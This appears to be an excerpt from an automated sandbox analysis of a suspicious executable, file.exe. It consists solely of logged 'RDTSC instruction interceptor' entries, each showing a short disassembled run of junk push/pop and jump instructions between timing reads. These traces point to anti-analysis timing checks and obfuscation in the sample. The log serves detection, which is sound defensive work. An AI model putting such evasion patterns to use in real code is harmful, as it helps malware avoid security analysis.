Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46415 second address: D46432 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA6B11DE268h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4686F second address: D46879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46B4F second address: D46B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B11DE262h 0x00000009 jbe 00007FA6B11DE256h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA6B11DE25Dh 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EC6F second address: D4EC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA6B14AD586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4EC79 second address: D4ECB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE265h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a ja 00007FA6B11DE256h 0x00000010 jmp 00007FA6B11DE25Ch 0x00000015 js 00007FA6B11DE256h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d popad 0x0000001e popad 0x0000001f pushad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D10C second address: D4D115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D115 second address: D4D11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FA6B11DE256h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D11F second address: D4D123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D397 second address: D4D39D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D4E6 second address: D4D4F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D4F4 second address: D4D50C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B11DE264h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D63C second address: D4D64B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D64B second address: D4D651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D8C3 second address: D4D903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA6B14AD58Fh 0x0000000b popad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jns 00007FA6B14AD586h 0x00000015 push esi 0x00000016 pop esi 0x00000017 jc 00007FA6B14AD586h 0x0000001d popad 0x0000001e jmp 00007FA6B14AD58Bh 0x00000023 popad 0x00000024 jne 00007FA6B14AD5A5h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D903 second address: D4D907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DA98 second address: D4DAB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B14AD58Bh 0x00000009 popad 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DAB3 second address: D4DABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DBF1 second address: D4DBF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E3F3 second address: D4E410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B11DE268h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4CAB0 second address: D4CAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA6B14AD58Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4CAC3 second address: D4CAC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56392 second address: D56398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56398 second address: D563A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 je 00007FA6B11DE256h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55F05 second address: D55F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55F09 second address: D55F0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55F0F second address: D55F60 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA6B14AD592h 0x00000008 pushad 0x00000009 jmp 00007FA6B14AD590h 0x0000000e push esi 0x0000000f pop esi 0x00000010 jmp 00007FA6B14AD594h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FA6B14AD58Eh 0x00000020 push eax 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55F60 second address: D55F6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FA6B11DE256h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55F6E second address: D55F7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FA6B14AD588h 0x0000000c push esi 0x0000000d pop esi 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61C63 second address: D61C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 jmp 00007FA6B11DE266h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61C86 second address: D61C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA6B14AD586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61C90 second address: D61CB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE25Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA6B11DE25Ch 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D744AC second address: D744B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D744B0 second address: D744B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D744B6 second address: D744BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7434D second address: D74351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7EC3B second address: D7EC54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B14AD595h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F192 second address: D7F198 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F198 second address: D7F1BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007FA6B14AD597h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F1BA second address: D7F1FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 jc 00007FA6B11DE256h 0x0000000e jmp 00007FA6B11DE261h 0x00000013 jmp 00007FA6B11DE266h 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edi 0x00000021 pop edi 0x00000022 push edi 0x00000023 pop edi 0x00000024 pop eax 0x00000025 push ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F33A second address: D7F348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FA6B14AD586h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F348 second address: D7F374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA6B11DE266h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA6B11DE25Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F374 second address: D7F378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F378 second address: D7F394 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FA6B11DE266h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F394 second address: D7F39A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F39A second address: D7F3A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7FF6D second address: D7FF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B14AD591h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7FF85 second address: D7FF8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7FF8B second address: D7FFC7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA6B14AD586h 0x00000008 jmp 00007FA6B14AD591h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FA6B14AD595h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push ecx 0x00000017 pushad 0x00000018 je 00007FA6B14AD586h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7FFC7 second address: D7FFCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D841A5 second address: D841B2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA6B14AD586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D841B2 second address: D841B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D841B9 second address: D841BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D841BE second address: D841E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B11DE269h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA26DA second address: CA26DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89FAB second address: D89FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D974 second address: D9D98C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FA6B14AD591h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F06D second address: D9F077 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA6B11DE256h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA09F2 second address: DA0A06 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA6B14AD58Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95050 second address: D9508F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA6B11DE273h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FA6B11DE262h 0x00000012 push ebx 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9508F second address: D95094 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95094 second address: D950A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jbe 00007FA6B11DE256h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEF69 second address: DAEF6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA821 second address: DCA83A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FA6B11DE25Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA83A second address: DCA859 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA6B14AD597h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA859 second address: DCA85F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCECC9 second address: DCECCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCECCD second address: DCECD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0956 second address: DD095C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD095C second address: DD0962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0962 second address: DD0967 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0967 second address: DD099F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6B11DE25Dh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007FA6B11DE25Eh 0x00000016 jbe 00007FA6B11DE256h 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007FA6B11DE262h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90E24 second address: 4E90E82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov eax, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c mov edx, esi 0x0000000e call 00007FA6B14AD592h 0x00000013 pushfd 0x00000014 jmp 00007FA6B14AD592h 0x00000019 jmp 00007FA6B14AD595h 0x0000001e popfd 0x0000001f pop eax 0x00000020 popad 0x00000021 mov dword ptr [esp], ebp 0x00000024 pushad 0x00000025 call 00007FA6B14AD58Dh 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90E82 second address: 4E90F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 call 00007FA6B11DE267h 0x0000000a pushfd 0x0000000b jmp 00007FA6B11DE268h 0x00000010 or esi, 73F58008h 0x00000016 jmp 00007FA6B11DE25Bh 0x0000001b popfd 0x0000001c pop ecx 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FA6B11DE265h 0x00000027 add cl, 00000026h 0x0000002a jmp 00007FA6B11DE261h 0x0000002f popfd 0x00000030 movzx ecx, bx 0x00000033 popad 0x00000034 pop ebp 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007FA6B11DE264h 0x0000003e xor cx, 9FF8h 0x00000043 jmp 00007FA6B11DE25Bh 0x00000048 popfd 0x00000049 call 00007FA6B11DE268h 0x0000004e pop esi 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90F41 second address: 4E90F47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90F47 second address: 4E90F4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0F10 second address: 4ED0F39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD595h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA6B14AD58Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0F39 second address: 4ED0F75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ax, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FA6B11DE266h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FA6B11DE267h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E701AF second address: 4E701B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E701B5 second address: 4E701B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E701B9 second address: 4E701DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FA6B14AD58Fh 0x0000000f push dword ptr [ebp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E701DB second address: 4E701E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E701E1 second address: 4E701E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E701E9 second address: 4E701FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push dword ptr [ebp+0Ch] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, bx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E701FB second address: 4E70200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E906F7 second address: 4E9070D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B11DE25Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9070D second address: 4E90728 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6B14AD597h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA017B second address: 4EA017F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA017F second address: 4EA0185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0DE9 second address: 4ED0DED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0DED second address: 4ED0E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov edi, 595D5706h 0x00000014 jmp 00007FA6B14AD597h 0x00000019 popad 0x0000001a rdtsc
